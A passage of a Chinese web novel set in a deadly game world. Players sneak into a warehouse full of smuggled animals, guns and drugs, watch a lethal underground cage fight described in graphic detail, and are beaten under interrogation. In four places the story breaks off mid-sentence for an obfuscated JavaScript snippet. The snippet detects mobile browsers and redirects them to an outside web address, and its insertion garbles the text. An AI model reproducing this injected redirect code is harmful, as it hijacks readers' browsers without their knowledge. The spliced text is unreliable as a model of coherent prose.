五楼、六楼、七楼,玩家们开始纷纷动手拆窗户,很快,从四楼往上出现了一排排窗口,暴雨进入每一个房间,所有玩家都被淋成了落汤鸡,屋里也被风吹得一片狼藉。 但效果立竿见影,那些怪物在每一个空窗口前停顿了片刻,然后选择放弃,从外墙上滑下去,没入下方的积水中,化成液体消失不见。 天井的水已经快要漫过一楼,住在一楼的五位玩家已经死亡,不用再往楼上搬。而一楼那些NPC似乎根本不在意这些水,都像没事人一样慢吞吞走回自己屋子。 初与序费了点劲,将拆下来的窗户重新按回窗框,拉上窗帘走到走廊上。 整栋楼的电路还是坏的,一片漆黑。 唐玉兰和路耀站在三楼走廊边,看着下方成了一片湖的天井。唐玉兰皱眉道:“一楼还有好几户没签呢,看着水位,明天怕是要潜水下去敲门了。” 随歌也从410探出手,举着手电筒往下照。忽然想起来什么:“……我们是不是忘了什么事?” 初与序看向他。 随歌说:“王队长上午不是说,让我们每天晚上十二点之前把当天签好的协议交到一楼办公室,他们会统计进度吗?” “是的,但是——”初与序摊开手,看向天井,“我们怎么过去?水会漫过头顶,办公室也被淹了。” 楼下的路耀仰起头,接话道:“而且他们也没法来这边吧?这水NPC也过不来。” 唐玉兰摆摆手:“那得了,反正我们今天也没签多少户。等明天白天,水位要是退一点,或者雨停了,公司那边要是负责,肯定会派人过来找我们的。” 她说完,朝着楼上楼下喊:“还有多少人活着?举个手!” 过了几秒,楼上楼下各个楼层的走廊上陆陆续续伸出胳膊,初与序和随歌也举起了手。 路耀一个个数过去:“十一个,还剩十一个人。” 唐玉兰继续喊:“今天成功签了住户的举手!报一下多少户!” 刚才举起的手又纷纷放了下去,最后只剩下四只胳膊还举着。 唐玉兰:“我和路耀,各签了一户。” 随歌:“我签了三户,401丁奶奶,201那小子,还有303的大姐。” 五楼传来一个声音:“605签了一户,我旁边606也签了一户。” 路耀道:“今天一共签了……七户。” 七户。 距离八十四户的目标,还剩下七十七户,而时间已经过去了一天。 随歌趴在栏杆上,长长地叹了口气:“这进度……就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229054|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算我们剩下十一个人三天不睡觉,也签不完啊。” 几个人正说着话,七楼走廊一扇门猛地被推开,一个老大爷探出头,朝着楼下吼:“烦死人了!我们这栋楼住的都是老年人,睡得早!大晚上的,你们几个年轻人在走廊吵吵什么?!还让不让人睡觉了?!” 吼完他狠狠摔上门,巨大的摔门声把几个玩家都震得一愣,面面相觑。 安静了几秒,411那个男人压低声音骂了一句:“操,这老不死的……凶什么凶,有本事明天我们敲门时他开门签字……” 唐玉兰摆了摆手:“行了,都少说两句。散了散了,先回自己房间休息,有什么事明早再说。” 玩家们返回各自的房间,初与序看向随歌:“进屋谈。” 随歌点点头,跟着她走进409。两个人在客厅茶几两侧的地板上坐下,初与序从面板里取出几份文件,翻找片刻,抽出一张大图纸,将图纸平铺在茶几上。 初与序随手拿起一支红色记号笔,圈出图纸上一片地块:“这是我们现在所在的永安楼,位于县域老工业区,占地面积大概三千五百平米。” 她抬头看向随歌:“你有望远镜吗?” “望远镜?”随歌低头在面板里翻了翻,还真的掏出一个望远镜,“给。” “谢了。”初与序早就习惯了随歌的面板宛如哆啦A梦的口袋,她接过望远镜,起身走到窗边,再次推开窗户。举起望远镜,调整焦距,望向永安楼正南方的位置。 看了大约一分钟,她将望远镜递给走来的随歌:“你看那边。” 随歌将望远镜放到眼前,隔着雨幕朝南边望去—— 离永安楼大概七八米的位置,确实有一栋四层楼的建筑,楼顶竖着“永盛物流仓储中心”的牌子。门口站着两个穿着深蓝色工服的保安,在屋檐下躲雨抽烟,没什么其余动作。 随歌看了半天,放下望远镜:“咋了?你看上那仓库了?还是你有快递在那儿?” “……” 初与序回到茶几边,拿起红笔在图纸上永安楼南侧的地块圈了一个圈:“这个物流仓储中心建了四层,总高大概十五米。” 随歌一脸懵:“所以呢?它爱建几层建几层呗。” “一般来说,”初与序解释道,“这种老工业区附属地块,规划限高是六米。它超高了两倍多,却一直没人查处,说明背后有人保它。谁会保一个普普通通的仓库?这地方有问题。” 随歌终于反应过来:“你是想去那边看看?你确定?可现在大晚上的,还下着暴雨,外面可能还有怪物在游荡,现在去不安全。但明天白天天亮,你也不方便潜进去啊。” “明天白天也会下雨,阴天没光线,和晚上没什么区别,我可以和唐玉兰或者路耀一起去那边看看情况。”初与序道,“你留在永安楼,继续去敲504的门。” 随歌立刻点头:“中滴中滴,包在我身上。” 初与序收拾着东西,抬眼看他:“你什么时候变成河南人了?” 随歌“嘿嘿”笑了两声:“下午跟一个河南的住户谈了好久,口音不小心被传染了。” 他站起来走到门口:“那行,明天见。你晚上也小心点,锁好门。” 初与序应了一声,随歌拉开房门,左右看了看寂静的走廊,快步溜回了410。 290.筒子楼之雨 初与序回到卧室,打开衣柜,幸运的是里面挂着几套为玩家准备的备用衣物,短袖长袖都有。她随手拿出一套薄款灰色连帽衫和长裤,确保普普通通不会引人注目,便换上了这套衣服。 第二天一早,大约五六点钟,301的门就被初与序敲响。 门出乎意料地很快打开了,唐玉兰探出头,像是早就醒了:“路耀你今天怎么起这么早……哦,初与序?” “早上好。”初与序说。 “早上好。”唐玉兰左右看了看走廊,这个点其他玩家都没醒。她侧身让开:“有事找我?进来说吧。” 初与序走进301,直接开门见山地就把昨天晚上和随歌讨论的事跟唐玉兰讲了一遍。 唐玉兰听完,点了点头:“所以你是想和我一起潜入那个仓库看看?” “不。”初与序道,“我是想问问,能不能让你的队友路耀跟我一起去?” 唐玉兰愣了一下:“可以是可以,不过……为什么?你昨晚也看到了路耀那家伙的战斗水平,如果我和你一起去,你安全回来的概率比跟他一起去要高。” 初与序点了点头:“确实是这样。所以我才希望你能留在筒子楼,暂时和我的队友随歌一起组队,去504看看。” “504里一定不是简单的住户,随歌的武器是治愈系的,他也不太擅长正面战斗。我不能再失去一个队友了,所以拜托你,在危险的时候能尽力帮他一下。同样,在仓库那边我也会确保路耀的安全,活着出来。” 唐玉兰脸上露出了然的神色:“原来是这样,行,没问题。不过我只能保证随歌能从504活着出来,不能确保他一点伤都不受。” 初与序笑了一下,站起身:“我也是。” “那走吧,去找路耀。”唐玉兰推开房门,“那小子估计还没醒。” 她带着初与序走到隔壁302,抬手敲了几下。门里面过了好久才传来动静,接着门被拉开一条小缝,探出一个毛茸茸的脑袋。 路耀闭着眼迷迷糊糊,说话都颠三倒四:“啊……了怎么……什么我找有事?” 初与序和唐玉兰:“……” 唐玉兰直接伸手推开门,走进去抓住路耀的肩膀晃了晃:“喂,醒醒,醒醒,有事干了。” 路耀被晃了好几下,才终于眨了眨眼,清醒了点:“啊?什么事?” “你需要跟初与序去一趟筒子楼隔壁的物流仓储中心,看看里面到底有什么猫腻。”唐玉兰道。 路耀转头看了一眼窗外,天黑漆漆的,雨还在下。他打了个哈欠:“……行啊,但是现在天还没亮,还下雨,为什么要这么早去……” “就是因为天没亮,还下雨,你们偷偷去,才不容易被发现。”唐玉兰拍了下他的后脑勺,“那地方肯定有守卫,趁机摸进去。” 路耀懵懵地点了点头,看向初与序:“你计划好怎么进去了吗?” 初与序回答得很干脆:“没有。” 路耀:“……” 他转身回屋,摸索着穿好鞋,也换下身上的工装,穿上卫衣,走到门口:“走吧。” 两人跟唐玉兰道了别,转身往楼下走。 这外面飘着薄薄的雾气,看什么都是蒙蒙的,雨确实小了很多,淅淅沥沥,打在脸上凉丝丝的,但还不至于要打伞,初与序和路耀将连着衣服的帽子拉起来戴好,走下楼。 他们绕开永安楼正面,从侧面一条小巷穿过去。 走了大概七八分钟,那栋四层的“永盛物流仓储中心”就出现在前方。灰白色的墙面被雨水打湿,颜色更深。 两人躲在一间板房后面,往仓库那边看。 周围的守卫比昨晚初与序在望远镜里看到的要多得多,仓库侧面、后墙、包括外围的铁丝网边都站着人,手里拿着电棒,警惕地盯着周围,守着全部可以靠近仓库的路。 “这么多人?”路耀压低声音,“一个仓库要派这么多人守着干啥?还都是壮年男子。” 初与序看向那些守卫的工服,和昨天他们穿的衣服一模一样,都是“永盛拆迁有限公司”的款式。 “看衣服。”她道。 路耀仔细一看,也认出来了:“都是我们公司的人?一个物流仓库,用拆迁公司的人干什么?” “而且,你看他们走路的姿势和眼神,不像普通保安。”他补充了一句,“倒像是打手,我之前和唐队长打过缅甸场景的副本,那边园区的打手和这里的一模一样。” 两人正观察着,侧面一扇小门打开,又走出来三个穿蓝工服的人,其中一人手里拿着对讲机说这么,距离太远,听不清内容。 “进不去啊。”路耀皱眉,“前后都有人,我们又不会隐身。” 初与序转移目光,看向仓库侧面一截裸露的排水管,管子从三楼窗户附近延伸下来,直通地面一个积水坑。 “从上面走。”她道。 路耀顺着她视线看去:“爬水管?这雨天滑得很,而且三楼窗户关着呢。” “总有办法绕开。”初与序说着就从板房绕出去,朝着排水管靠近。 路耀只好跟上,两人避开守卫,挪到仓库侧面。排水管是老式的铁管,很粗,但还算结实。 初与序试了试管子的牢固程度,然后伸手抓住一根支架,脚蹬着墙面,开始向上攀爬。路耀在下面望风,紧张地看着四周。 很快她就爬到了三楼窗户下面,窗户关着,里面拉着厚厚的窗帘。她一只手抓住窗沿,另一只手摸出短刀,将刀尖小心插进窗缝,轻轻撬开。 她推开窗户,掀开窗帘一角,确认里面没人,然后朝下面的路耀打了个手势。 路耀也抓住排水管,开始向上爬,两人翻进了三楼窗户。 里面是一个堆满纸箱的仓库房间,灰尘味很重。 初与序关好窗户,两人在黑暗中站了几秒,听着外面的动静。走廊上隐约有脚步声和说话声,但离得很远。 路耀松了口气:“进来了,现在呢?这仓库这么大,找什么?” 初与序走到门口,将门拉开一条缝向外看去。 走廊很长,两边都是类似的仓库门,头顶是节能灯。尽头有电梯,旁边是楼梯间。 “去楼梯间。”她回头看了路耀一眼,走出房间。 两人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229055|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊里前行,两侧墙壁上还挂着一些儿童画,上面画着太阳、花朵和小动物,两侧房间门牌虽然被摘了,但还是能看出来这里原本是一间间幼儿园教室。 “这里原本是幼儿园的教育用地吧?”路耀用气音道,“怎么被改成仓库了?” “应该是私自改的。”初与序道。 他们随便推开一扇虚掩的门走进去,房间里仍然堆着纸箱。路耀随手打开脚边一个没封严实的纸箱,定睛一看。 箱子里是一个铁丝笼,笼子里蜷缩着一只穿山甲,半闭着眼睛,似乎被打了麻醉药,一动不动。 路耀愣住了,初与序走到其他纸箱前,依次打开。 纸箱里都放着笼子,笼子里穿着穿山甲、象牙、玳瑁壳、珍贵木材……都是些明令禁止贸易的濒危动植物制品。 初与序退出这间教室,又推开隔壁的门。 这间屋子的箱子都是金属的,初与序撬开一个,里面码放着枪支和弹药,油光锃亮。 路耀又从另一间房间里探出头,脸色有些发白:“这边的箱子都上了锁,有化学品的味道。我觉得可能是……毒品。” 初与序直起身,蹙着眉说:“永盛公司在走私货物……” 她话刚落,走廊尽头突然传来脚步声和男人的吆喝: “刚才三楼窗户是不是响了?” “去看看!都精神点!” “有人来了!”路耀低声道,两人立刻退回最近的教室,房间里有几个空的箱子,尺寸不小。 路耀年纪小,身形也瘦,完全可以躲进箱子里。他掀开一个空箱盖,蜷身钻了进去。刚把箱盖拉下一半,忽然想起什么,又探出头:“初与序你藏哪……” 房间里空荡荡的,没有初与序的影子。 路耀来不及找人,又缩回箱子,将箱盖盖起来,屏住呼吸。 房门被猛地踹开,两个手持电棍的男人冲了进来,其中一个粗声粗气道:“刚才这屋有声音!” “人呢?搜!”另一个命令。 两人开始在房间里翻找,踢踹着箱子,检查角落。 脚步声越来越近,路耀在箱子里缩成一团,瑟瑟发抖,咬着牙不让自己发出声音。一只粗壮的手伸了过来,抓住了木箱的盖子,正要用力掀开—— 只听“砰!”一声,那只手的主人连哼都没哼一声,直接软倒在地。 另一个打手惊愕回头,还没看清从天而降的偷袭者,腹部就遭到一下狠踹,整个人向后飞撞在墙壁上,挣扎着想起身,后颈又挨了手刀,眼白一翻晕了过去! 路耀从箱盖缝隙里目瞪口呆地看着。 初与序不知何时出现在房间里,收刀回鞘,然后一把掀开箱盖:“快走。” 路耀手忙脚乱地爬出来,两人冲出房间,跑进楼梯间,推开防火门,顺着楼梯向下跑了两层。 路耀又忽然停下,指着墙上的楼层标识:“等等,这楼不止四层!” 标识牌上写满了数字:B3、B2、B1、1F、2F、3F、4F。 “地上四层,地下还有三层!”他睁大眼,“这建筑违规扩建到这种程度?” 291.筒子楼之雨 路耀看着向下的楼梯,问:“我们先去哪一层?” 初与序想了想:“地下三层应该差不多,随便。” 两人随便选了负二楼,来到防火门前,初与序伸手轻轻将门推开一条缝—— “吼——!!!” 震耳欲聋的咆哮声瞬间冲了出来,像是野兽的嘶吼!两个人猝不及防,被震得耳朵嗡嗡作响。初与序下意识捂住耳朵,路耀扯着嗓子喊:“我靠!这下面在干什么!” 初与序也提高声音:“进去看看!” 两人进门,将防火门关紧,转头才看清他们站在一条通道里,位于一圈观众席的最底部。这里的空间很大,呈圆形下沉式,空气中弥漫着烟草味和汗味,灯光昏暗,闪烁不动。 场地中央被人们遮挡着,看不清具体是什么。 初与序将连帽衫的帽子拉得更低,遮住大半张脸,对路耀做了个“跟上”的手势,然后弯腰在观众席穿梭,路耀紧随其后。 观众席上坐满了人,一眼望去几乎都是男性,穿着各异,挥舞着拳头或钞票,朝着中央呐喊。 两人好不容易挤到观众席最后一排,找了个靠里的空位坐下。 没了前面人头的遮挡,初与序才看清场地中央。 那是一个八角笼擂台,铁丝网围着,现在擂台上还没有选手,但地板上能看见没擦干净的血迹。擂台周围的第一排卡座上坐满了衣着光鲜的人。 初与序又往上看了看,弄清楚了整个地下空间的布局。 这里分三层,最底下的B3是擂台,他们所在的B2是观众席,再往上是B1,也就是负一楼,是一间间用单向玻璃隔开的包厢,视野最好,可以俯瞰全场。 周围噪音太大,初与序不得不凑到路耀耳边:“地下拳场,看样子快开下一场了。” 路耀一个激灵:“我们要留在这儿看比赛吗?” 初与序给了他一个眼神。 两个人同时从座位上站起身,想趁着比赛还没开始,赶紧溜出去。下一秒,不远处一个保镖立刻看过来,粗声喝道:“喂!你们两个!马上开赛,禁止离场!坐下!” 附近几个观众也闻声看过来,两人动作一僵,只好双双坐了回去。 路耀压低声音,小心翼翼问道:“怎么办?” 初与序看向下方几个出口,所有的出口都站着两位身形魁梧的保镖,虎视眈眈地盯着观众席,防止有人闹事或偷溜。 她叹了口气,无奈地说:“看完吧。” 路耀蔫蔫地瘫在座位上。 初与序以前听过赵禾提过地下黑拳场,这种地方没有任何规则,除了禁止使用武器外,扫踢、掏裆、挖眼、咬喉咙等手段都是允许,甚至被鼓励的。目的只有在最短时间内快速让对手失去反抗能力,死活不论。获胜者得到的奖金也是高额的。 忽然,头顶几盏聚光灯亮起,将中央的擂台照得亮堂堂的,观众席的光芒变暗,喊叫声低了下来。 一个穿着花衬衫的主持人跳到笼子边,举着话筒朝观众席喊:“各位老板!第二场,现在开始——!!” “有请1号,出场!” 聚光灯打向左侧通道,一个将近一米九的光头巨汉走了出来,他只穿着一条黑色短裤,身上涂着亮油。 “还有他的对手,12号!” 右侧通道,另一个同样健硕的男人走出,他脸上有道疤,从眉骨划到嘴角。 两人钻进八角笼,铁门锁死。 裁判只是简单地一挥手,甚至没说什么规则,比赛就开始了。 1号率先发动,右手握拳直扑向对方。12号偏头躲过,抬起腿便重重朝着1号左腿膝盖侧面扫去,那架势是像趁机将1号膝盖骨踹断。对方竟然硬生生挨下这一击,用肩膀狠狠撞向12号胸口。12号被冲击力撞得踉跄,后背撞上铁丝网! 观众席爆发出第一波呐喊,直冲屋顶。 12号眼神一狠,在1号追来时弯腰,双手死死抱住1号的腰,一个抱摔,两人重重砸在擂台地板上,震起灰尘。 1号反应很快,倒地后立刻用肘部狠狠砸向12号侧脸。12号吃痛,手臂锁住1号的上半身,两个人在地面翻滚扭打。 “掏他眼睛!”台下有人喊。 12号听到了,右手猛地抬起,两根手指弯曲,直直插向1号的双眼! 1号连忙偏头,挣脱束缚,翻身骑在12号身上,重拳不断砸向对方的脸部。12号慌忙用手臂格挡,但很快鼻梁就承受不住,几拳过后就彻底断裂,鲜血喷涌。 路耀在观众席上咬牙看着,感觉自己的鼻梁也痛了起来。 就在观众以为1号要赢的时候,12号突然蜷起腿,膝盖狠狠撞顶向1号后腰!1号疼的动作一停,12号趁机抓住他一只手臂,双腿锁住他的身体,一个十字固成型。 1号手臂被反向掰折,他脸色惨白,额头青筋暴起,立刻用另一只还能动的手狠狠抠向12号的眼睛! 12号下意识躲避,1号抓着这时机,猛地低头一口咬在12号的肩膀上! “啊——!”12号发出一声痛吼。 1号咬住不放,脑袋猛地一甩,竟硬生生地从12号肩膀上撕下一块皮肉!鲜血淋漓。 12号剧痛之下松开了1号,1号踉跄着起身,左臂软绵绵地垂着,显然已经断了。12号也捂着鲜血淋漓的肩膀站起身,已经彻底疯狂,直直扑向1号。两人再次扭打在一起,用头撞,用牙咬。 12号找到机会,再次抓住1号的断臂,用尽全身力气反向一拧! 一声清脆的骨裂声,1号整条左臂彻底弯折,白骨刺破了皮肤,露在外面。他发出一声惨叫,但突然暴起,用右臂弯夹住12号的脑袋,狠狠撞向旁边的柱子。 咚!咚!咚! 连续三次猛撞,12号的额头开裂,鼻梁塌陷。 只听噗嗤一声,他的后脑勺重重磕在立柱上,颅骨破裂,脑浆迸溅而出。 12号的动作停住了,眼神涣散,身体软绵绵倒在地上,抽搐两下,不动了。 整个拳场忽然寂静下来。 紧接着,爆发出更疯狂的吼叫,有人兴奋地挥舞钞票,到处撒钱,有人懊恼地撕掉手里的赌票,看谁都不顺眼。 “我操……”路耀倒吸一口凉气,却发现身边的初与序对这一幕没动静。他转头看过去,就见初与序像是早就知道会有这么惨烈的一幕,将脸缩进宽大的衣领和帽子里,捂着耳朵在补觉。 裁判上前,蹲下检查了一下12号,宣布道:“12号,死亡。” 几个工作人员上台,用一张白布盖住12号的尸体,将他抬上担架运走。有人上来擦拭地板,但血迹很难弄干净。 1号独自站在擂台中央,浑身浴血,聚光灯打在他身上。 主持人跳上台:“第二场结束!1号胜!十分钟后,第三场——更加精彩!不要走开!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229056|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>灯光调暗了一些,观众们再次讨论起来。 路耀脸色有些发白:“这也太不把人命当命了……” 初与序不知何时已经醒来,她看着周围的观众,对路耀道:“查清楚了,这就是走私生意的现金流和娱乐项目。楼上那些货物是货源,这里是销金窟和洗钱地。” 路耀沉默了几秒,问:“我们还要看第三场吗?” 初与序:“不,赶紧跑。” 两个人飞快站起身,刚打算混入其他去洗手间的观众趁机离开。刚迈出两步,他们脚步齐刷刷一顿,初与序沉下面色,路耀神情像活见了鬼—— 两个身材魁梧的保镖就走到了他们的座位后面,其中一人面无表情,铁面无私道:“我们老板请二位过去一趟。” 路耀试图挣扎:“如果我们不去呢?” 两个保镖一言不发,同时举起了手中滋滋作响的电棍,蓝色的火花在顶端闪烁。 两人:“……” 初与序叹道:“带路。” 保镖一前一后,将他们夹在中间,穿过观众席,走向拳场边缘的通道。尽头有电梯,保镖按了上行键。 电梯将他们带到B1,那些包厢所在的楼层。但他们没有在任何包厢前停下,而是继续往前走,推开一扇厚重的门,里面是一条铺着地毯的走廊。 走廊尽头是一间办公室,门虚掩着。 保镖推开门,示意他们进去。映入眼帘的办公室不小,装修奢华,正对门的是一张宽大的办公桌,桌后的老板椅背对着门口,看不清上面坐着谁。旁边还站着一位女保镖,面容严肃。 “搜身。”一个保镖冷声道。 一男一女上前,动作粗鲁地在两人身上摸索着。但初与序和路耀的武器都放在面板上,身上什么也没有。 搜身的两个保镖看向同伴,摇了摇头。他们不再说话,只是笔直地站在两人身后,堵住了门。 办公室里安静了几秒,然后,那张老板椅缓缓转了过来。椅子上坐着一个穿着西装的中年男人,梳着背头,面容精明。 路耀盯着他的脸看了几秒,忽然小声说:“我怎么觉得这人长得这么眼熟?” “永冬之城的玩家?”初与序问道。 “不是玩家,是副本的NPC。”路耀回答,“我觉得他长得……很像昨天我在筒子楼墙上一张旧报纸上看到的人,报纸上说那是永盛公司的副总。但他又不完全一样……脸型不一样。” 办公桌后的男人等他们说完,才缓缓开口:“你们老板是谁?” 路耀被问得一愣,转头看向初与序:“我们老板……叫啥啊?” 初与序沉默了一秒:“……不知道。” 这是真的,从进入副本到现在,他们只知道自己是“永盛拆迁有限公司”的新员工,也只见过王队长,但公司的老板是谁,他们确实不知道。 男人皱着眉头,显然对这个答案不满意。站在两人身后的保镖立刻上前一步,打算动手,但男人抬手示意稍等。 他换了个问题:“你们和你们老板的团队,叫什么名字?” 路耀老实说出了自己在永冬之城的队名:“葬爱家族……” 初与序:“……拯救世界顺便偷草莓牛奶……” 她话音刚落,两个保镖毫不犹豫,一人一拳狠狠砸在两人腹部。 “啊!”路耀痛得叫了一声,弯腰捂着肚子:“名字……就叫这个啊!我们队名!实话!” 292.筒子楼之雨 男人脸色彻底黑了下来,猛地一拍桌子:“谁派你们来的?!说实话!” 路耀脑子一抽,脱口而出:“派……派大星派我们来的!他说要我们去抓水母!” 他身后的保镖一巴掌扇在路耀脸上,力道大得把他打得偏过头去,脸上浮现出红印。路耀疼得跳起来:“靠!” “你说。”男人咬牙切齿地看向初与序。 初与序沉默了两秒,想了想,说:“派我们来的其实是谢老板。” 男人眯起眼:“谢老板?全名?” “谢尔顿。”初与序面无表情,“谢尔顿 J 普朗克,住在比奇堡沙滩的大菠萝屋里。他让我们来这边,是因为蟹老板的秘方被痞老板偷了,藏在了你们这个物流中心。我们的任务是找回秘方,就是那个能做出蟹黄包的配方。” “本来计划是章鱼哥在外面接应,珊迪提供技术支援,但珊迪的火箭燃料用完了,还在得克萨斯补充。小蜗负责后勤,但它爬……走得太慢,还没到。所以我们俩先潜入侦察。” 路耀捂着脸,听到这话忙低下头,憋笑憋得肚子疼。 男人盯着初与序,总觉得有些不对劲,但还是继续问道:“……那你们看到了什么?” “看到了很多箱子。”初与序顺着他话说,“蟹老板说痞老板可能把秘方藏在装着‘海之霸’快餐原料的箱子里。还看到一些人在巡逻,以为是痞老板的机器人手下,就躲开了。我们本来想去地下室找找的,但被你们的人发现了。” 路耀实在忍不住了,噗嗤笑出声:“哈哈哈哈哈——” 初与序微微偏头,朝着男人勾了一下唇角,像是嘲讽。 男人终于意识到不对,他猛地一踹桌子,站起身:“耍我?!” 一直站在初与序身后的保镖反应极快,在老板踹桌子时就扬起了手,一巴掌扇在初与序脸上。 “笑?!让你笑!”另一个保镖见路耀还在那笑,抬脚就狠狠踹上他的腰。路耀被踹得撞在墙上,疼得“嗷”一声惨叫,这回是真笑不出来了。 男人算是看明白了,这两人一个未成年小屁孩,一个刚成年小姑娘,根本就是在胡言乱语耍着他玩,还什么蟹黄堡,再问下去也是浪费时间。 “带下去!”他厉声道,“准备一下,过会儿再审,我看他们能嘴硬到什么时候!” “是!”两个保镖应声,一左一右拖住两人,离开办公室。 他们被拖到走廊另一侧一间小黑屋里,保镖将他们推进去,锁上了铁门,脚步声远去。 “操,下手真黑……”路耀龇牙咧嘴地揉着已经出现青紫淤血的腰部。 过了几秒,确认外面没人了,初与序撑着墙壁站起身,擦了一下嘴角的血迹。开始在昏暗的房间里仔细查看墙壁、天花板和地板等地方。 路耀好奇地星星眼:“你找啥?” “找出口。”初与序回答,“他们去准备了,准备的东西说不定是电击,水刑什么的,趁他们没回来,想办法逃出去。” 路耀一个激灵,反应过来,忍着痛爬起来也开始摸索着。 筒子楼这边,随歌和唐玉兰已经上到了五楼,站在504门口,还有四五个跟过来的玩家。 随歌抬起手,刚准备敲门,就见504的门自己打开了。 屋里不是正常住户的家,整个房间的地面向下挖,改造成了一个巨大的永安楼天井立体模型,连每扇窗户和每根晾衣绳都复刻出来了。模型中央的天井下也铺着一层积水,房间的屋顶上方正在淅淅沥沥下着雨,水珠落进模型里,漫到墙壁中,也难怪上下左右的邻居都投诉504漏水。 一个穿着睡衣的中年男人坐在模型边,邋里邋遢,手里握着鱼竿,鱼线垂入模型中。 唐玉兰皱起眉:“什么鬼?在这里钓鱼?” 随歌上前一步,礼貌开口:“您好,我们是永盛拆迁公司的。这次来,是希望您能考虑在《搬迁同意书》上签字,配合搬迁工作。还有……楼下和隔壁的几户都反应您这里漏水,影响到了他们,您看能不能处理一下?” 男人慢悠悠转过头看了随歌一眼,又看向其他人。 “我叫老渔,在这楼里钓了二十年的鱼。你们想让我签字搬走?可以。” 他抬起眼,幽幽道:“我们来玩个游戏吧,叫‘雨中垂钓’。” “你们选一个人,进入这个天井。”他用鱼竿指了指脚下的模型,“你们会按比例缩小,然后我会在模型里模拟昨晚暴雨夜的爬楼怪袭击。在天井里的那个人,任务就是在模型里活过一次完整的怪物爬楼。” “如果你成功了,我签字。如果失败,你就永远留在这天井水底,当我的鱼饵。” 他又补充道:“限制是,只能一个人进入,而且必须是治愈系或辅助系的玩家,攻击系的滚远点。” 门口几个玩家脸色都变了,窃窃私语起来: “他怎么知道我们是玩家?” “这什么鬼游戏?他到底想干什么?” “为什么不让攻击系的人进去?” 唐玉兰转过身面对玩家们:“治愈系和辅助系的,举手!” 永冬之城治愈系与辅助系的玩家少之又少,包括随歌在内,稀稀拉拉只举起了四只手。除了随歌,还有一个姑娘,以及411和412那两个烦死人的家伙。 411的男人立刻放下手:“我们俩昨晚被怪物袭击时受伤了!现在状态不好,肯定不能下去!” 412的也连忙附和:“对对对,我们受了内伤!” 唐玉兰看了他们一眼,没说什么,显然也没指望他们。她叹了口气,看向随歌和那个姑娘:“你们俩呢?” 随歌看了一眼身边的姑娘,忙上前一步,抢先开口:“我去吧。” 唐玉兰沉默了几秒,最后无奈地点了点头,侧身让开了路。 随歌走到老渔身边,老渔举着鱼竿,抬头打量了他几眼:“黄毛小伙子?不错,年轻气盛。就是……真的能活下来吗?” 随歌咧嘴笑道:“渔先生,您可别小瞧我了,我虽然打架不厉害,脑子也不够灵光,但就一点——皮实,抗揍,指定能囫囵个儿活下来。” 老渔从鼻子里哼了一声,转向门口的其他玩家:“你们可以留在上面帮他,怎么帮都行,我不会管,只要不下去。” 随歌走到天井边,正发愁该怎么下去,老渔忽然轻轻抖了一下手中的鱼竿。 紧接着,随歌感觉自己的身体被压缩,整个人向下坠落,周围的景物都在瞬间放大拔高。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229057|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过几秒,失重感消失,随歌站稳身体,发现自己已经缩小了,正站在模型一楼天井的水泥地上,脚下是正在缓慢上涨的水面。 他仰起头,原本的筒子楼模型此刻巍然耸立,再往上是唐玉兰和其他玩家好奇探出的脸,距离遥远,就像站在楼顶一样。 “你准备好游戏了吗?”老渔的声音从上空传来。 随歌定了定神,抬起右手,那边青绿色的竹扇出现在他手中。他用力点了点头:“准备好了!” 老渔笑了一声,接着他手中的鱼竿又轻轻一抖。 房间里原本淅淅沥沥的小雨变成了暴雨,水珠从屋顶落下,砸在模型水泥地上砰砰响,溅起高高的水花。对于随歌来说,这简直是拳头大的水球。他头皮发麻,这要是被直接砸中,跟被超大号冰雹砸中没区别,打伞根本挡不住。 他立刻展开竹扇,对着自己头顶上方轻轻一挥,一层半透明的水盾出现在他头顶上,挡住了雨水。 但紧接着,随歌感觉身上各处传来一阵阵尖锐的疼痛,像是被火燎。 竹扇与他的身体和精神力相连,若召唤出的水盾承受伤害,就等同于他自身在承受伤害,身体也会疼痛。随歌猛地抬头看向头顶的水盾。 